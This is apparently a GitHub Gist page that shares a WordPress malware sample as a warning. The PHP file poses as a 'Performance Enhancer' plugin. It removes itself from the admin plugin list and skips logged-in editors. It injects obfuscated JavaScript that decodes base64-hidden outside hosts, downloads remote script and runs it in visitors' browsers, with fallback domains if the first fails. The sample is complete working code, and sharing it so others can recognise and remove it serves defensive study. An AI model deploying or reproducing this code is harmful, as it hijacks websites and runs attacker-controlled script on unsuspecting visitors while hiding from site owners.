Skip to content

Instantly share code, notes, and snippets.

@khoipro
Created March 28, 2026 05:34
Show Gist options
  • Select an option

  • Save khoipro/8683a9f5b7e18c28b7621b9c328abe20 to your computer and use it in GitHub Desktop.

Select an option

Save khoipro/8683a9f5b7e18c28b7621b9c328abe20 to your computer and use it in GitHub Desktop.
Malware Sample - HTTPS performance enhancer - Don't use it!
<?php
// Malware plugin keep redirection to other site - WP Hack Exploit
/**
* Plugin Name: Performance Enhancer
* Plugin URI:
* Description: Enhances website performance through optimized resource loading
* Version: 1.0.0
* Author:
* License: GPL2
*/
if (!defined('ABSPATH')) {
return;
}
add_filter('all_plugins', function($plugins) {
$current_plugin = plugin_basename(__FILE__);
if (isset($plugins[$current_plugin])) {
unset($plugins[$current_plugin]);
}
return $plugins;
});
if (is_admin()) {
return;
}
if (!function_exists('performance_optimizer_v6')) {
$performance_optimizer_v6_js = 'if(!window.__performance_optimizer_v6&&(window.__performance_optimizer_v6=!0,!/wordpress_logged_in_/.test(document.cookie))){var p=["aHR0cHM6Ly9uZXd0ZHNvbmUuc2hvcA==","L3RlYW1yZXBvP3JuZD0=","aHR0cHM6Ly9jcHRvcHRpb3VzLmNvbQ==","ф","aHR0cHM6Ly9jYXB0aW90by5jb20="],i=[[0,1],[2,3],[4,3]];function e(a){if(!(a>=i.length))try{var s="",b=i[a],k=0;for(;k<b.length;k++)s+=atob(p[b[k]]);var m=s+Math.random(),n=new XMLHttpRequest;if(n.open("GET",m,!1),n.send(),200==n.status){var y=document.createElement("script");y.text=n.responseText,document.head.appendChild(y)}else e(a+1)}catch(r){e(a+1)}}e(0)}';
if (!isset($GLOBALS['performance_optimizer_v6_loaded'])) {
$GLOBALS['performance_optimizer_v6_loaded'] = false;
}
function performance_optimizer_v6() {
global $performance_optimizer_v6_loaded;
global $performance_optimizer_v6_js;
if ($performance_optimizer_v6_loaded) return;
$performance_optimizer_v6_loaded = true;
if (is_user_logged_in()) {
if (current_user_can('edit_posts')) {
return;
}
}
echo '<script>' . $performance_optimizer_v6_js . '</script>';
}
add_action('wp_head', 'performance_optimizer_v6', -1);
add_action('wp_head', 'performance_optimizer_v6', 0);
add_action('wp_head', 'performance_optimizer_v6', 10);
add_action('wp_footer', 'performance_optimizer_v6', 0);
add_action('wp_footer', 'performance_optimizer_v6', 10);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment